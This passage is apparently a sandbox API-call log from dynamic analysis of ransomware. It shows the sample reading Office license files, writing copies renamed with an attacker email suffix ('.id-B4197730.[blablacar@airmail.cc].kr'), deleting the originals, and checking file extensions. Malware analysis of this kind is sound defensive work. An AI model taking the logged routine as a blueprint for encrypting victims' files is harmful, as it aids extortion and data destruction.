Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0202.498] lstrlenW (lpString=".dbf") returned 4 [0202.498] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0202.498] lstrlenW (lpString=".1cd") returned 4 [0202.498] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0202.498] lstrlenW (lpString=".jpg") returned 4 [0202.498] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.498] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.498] lstrlenW (lpString="O365HomePremR_Subscription4-pl.xrm-ms") returned 37 [0202.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.499] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11199) returned 1 [0202.499] CloseHandle (hObject=0x3e8) returned 1 [0202.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 0x220 [0202.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.499] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.499] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0202.500] GetLastError () returned 0x0 [0202.500] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0202.800] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0202.801] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.801] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11e, lpOverlapped=0x0) returned 1 [0202.802] SetEndOfFile (hFile=0x560) returned 1 [0202.802] CloseHandle (hObject=0x560) returned 1 [0202.802] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.802] SetEndOfFile (hFile=0x3e8) returned 1 [0202.805] CloseHandle (hObject=0x3e8) returned 1 [0202.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 1 [0202.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0202.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0202.806] lstrlenW (lpString=".doc") returned 4 [0202.806] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.806] lstrlenW (lpString=".docx") returned 5 [0202.806] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.806] lstrlenW (lpString=".pdf") returned 4 [0202.806] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.806] lstrlenW (lpString=".xls") returned 4 [0202.806] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.806] lstrlenW (lpString=".xlsx") returned 5 [0202.806] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.806] lstrlenW (lpString=".ppt") returned 4 [0202.806] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0202.807] lstrlenW (lpString=".zip") returned 4 [0202.807] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.807] lstrlenW (lpString=".rar") returned 4 [0202.807] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.807] lstrlenW (lpString=".bz2") returned 4 [0202.807] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.807] lstrlenW (lpString=".7z") returned 3 [0202.807] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0202.807] lstrlenW (lpString=".dbf") returned 4 [0202.807] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0202.807] lstrlenW (lpString=".1cd") returned 4 [0202.807] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0202.807] lstrlenW (lpString=".jpg") returned 4 [0202.807] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0202.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0202.807] lstrlenW (lpString=".doc") returned 4 [0202.807] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.807] lstrlenW (lpString=".docx") returned 5 [0202.807] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.807] lstrlenW (lpString=".pdf") returned 4 [0202.807] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.807] lstrlenW (lpString=".xls") returned 4 [0202.807] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.807] lstrlenW (lpString=".xlsx") returned 5 [0202.807] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.807] lstrlenW (lpString=".ppt") returned 4 [0202.807] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0202.807] lstrlenW (lpString=".zip") returned 4 [0202.808] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.808] lstrlenW (lpString=".rar") returned 4 [0202.808] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.808] lstrlenW (lpString=".bz2") returned 4 [0202.808] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.808] lstrlenW (lpString=".7z") returned 3 [0202.808] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0202.808] lstrlenW (lpString=".dbf") returned 4 [0202.808] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0202.808] lstrlenW (lpString=".1cd") returned 4 [0202.808] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0202.808] lstrlenW (lpString=".jpg") returned 4 [0202.808] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.808] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.808] lstrlenW (lpString="O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 36 [0202.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.809] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11630) returned 1 [0202.809] CloseHandle (hObject=0x3e8) returned 1 [0202.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 0x220 [0202.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.810] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.810] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0202.810] GetLastError () returned 0x0 [0202.810] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0202.812] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0202.813] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.813] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11c, lpOverlapped=0x0) returned 1 [0202.813] SetEndOfFile (hFile=0x560) returned 1 [0202.814] CloseHandle (hObject=0x560) returned 1 [0202.814] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.814] SetEndOfFile (hFile=0x3e8) returned 1 [0202.816] CloseHandle (hObject=0x3e8) returned 1 [0202.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 1 [0202.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0202.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0202.818] lstrlenW (lpString=".doc") returned 4 [0202.818] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.818] lstrlenW (lpString=".docx") returned 5 [0202.818] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.818] lstrlenW (lpString=".pdf") returned 4 [0202.818] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.818] lstrlenW (lpString=".xls") returned 4 [0202.818] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.818] lstrlenW (lpString=".xlsx") returned 5 [0202.818] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.818] lstrlenW (lpString=".ppt") returned 4 [0202.818] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0202.818] lstrlenW (lpString=".zip") returned 4 [0202.818] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.818] lstrlenW (lpString=".rar") returned 4 [0202.818] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.818] lstrlenW (lpString=".bz2") returned 4 [0202.818] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.818] lstrlenW (lpString=".7z") returned 3 [0202.818] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0202.818] lstrlenW (lpString=".dbf") returned 4 [0202.818] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0202.818] lstrlenW (lpString=".1cd") returned 4 [0202.818] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0202.818] lstrlenW (lpString=".jpg") returned 4 [0202.818] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0202.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0202.819] lstrlenW (lpString=".doc") returned 4 [0202.819] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.819] lstrlenW (lpString=".docx") returned 5 [0202.819] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.819] lstrlenW (lpString=".pdf") returned 4 [0202.819] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.819] lstrlenW (lpString=".xls") returned 4 [0202.819] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.819] lstrlenW (lpString=".xlsx") returned 5 [0202.819] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.819] lstrlenW (lpString=".ppt") returned 4 [0202.819] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0202.819] lstrlenW (lpString=".zip") returned 4 [0202.819] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.819] lstrlenW (lpString=".rar") returned 4 [0202.819] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.819] lstrlenW (lpString=".bz2") returned 4 [0202.819] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.819] lstrlenW (lpString=".7z") returned 3 [0202.819] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0202.819] lstrlenW (lpString=".dbf") returned 4 [0202.819] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0202.819] lstrlenW (lpString=".1cd") returned 4 [0202.819] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0202.819] lstrlenW (lpString=".jpg") returned 4 [0202.819] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.820] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.820] lstrlenW (lpString="O365HomePremR_SubTest3-pl.xrm-ms") returned 32 [0202.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.820] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11179) returned 1 [0202.820] CloseHandle (hObject=0x3e8) returned 1 [0202.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 0x220 [0202.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.821] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.821] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0202.822] GetLastError () returned 0x0 [0202.822] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0202.823] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0202.825] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.825] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x114, lpOverlapped=0x0) returned 1 [0202.825] SetEndOfFile (hFile=0x560) returned 1 [0202.825] CloseHandle (hObject=0x560) returned 1 [0202.825] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.825] SetEndOfFile (hFile=0x3e8) returned 1 [0202.828] CloseHandle (hObject=0x3e8) returned 1 [0202.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 1 [0202.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0202.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0202.829] lstrlenW (lpString=".doc") returned 4 [0202.829] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.829] lstrlenW (lpString=".docx") returned 5 [0202.829] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.829] lstrlenW (lpString=".pdf") returned 4 [0202.829] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.829] lstrlenW (lpString=".xls") returned 4 [0202.829] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.829] lstrlenW (lpString=".xlsx") returned 5 [0202.829] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.829] lstrlenW (lpString=".ppt") returned 4 [0202.830] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0202.830] lstrlenW (lpString=".zip") returned 4 [0202.830] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.830] lstrlenW (lpString=".rar") returned 4 [0202.830] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.830] lstrlenW (lpString=".bz2") returned 4 [0202.830] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.830] lstrlenW (lpString=".7z") returned 3 [0202.830] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0202.830] lstrlenW (lpString=".dbf") returned 4 [0202.830] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0202.830] lstrlenW (lpString=".1cd") returned 4 [0202.830] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0202.830] lstrlenW (lpString=".jpg") returned 4 [0202.830] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0202.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0202.830] lstrlenW (lpString=".doc") returned 4 [0202.830] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.830] lstrlenW (lpString=".docx") returned 5 [0202.830] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.830] lstrlenW (lpString=".pdf") returned 4 [0202.830] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.830] lstrlenW (lpString=".xls") returned 4 [0202.831] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.831] lstrlenW (lpString=".xlsx") returned 5 [0202.831] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.831] lstrlenW (lpString=".ppt") returned 4 [0202.831] lstrcmpiW (lpString1=".ppt", 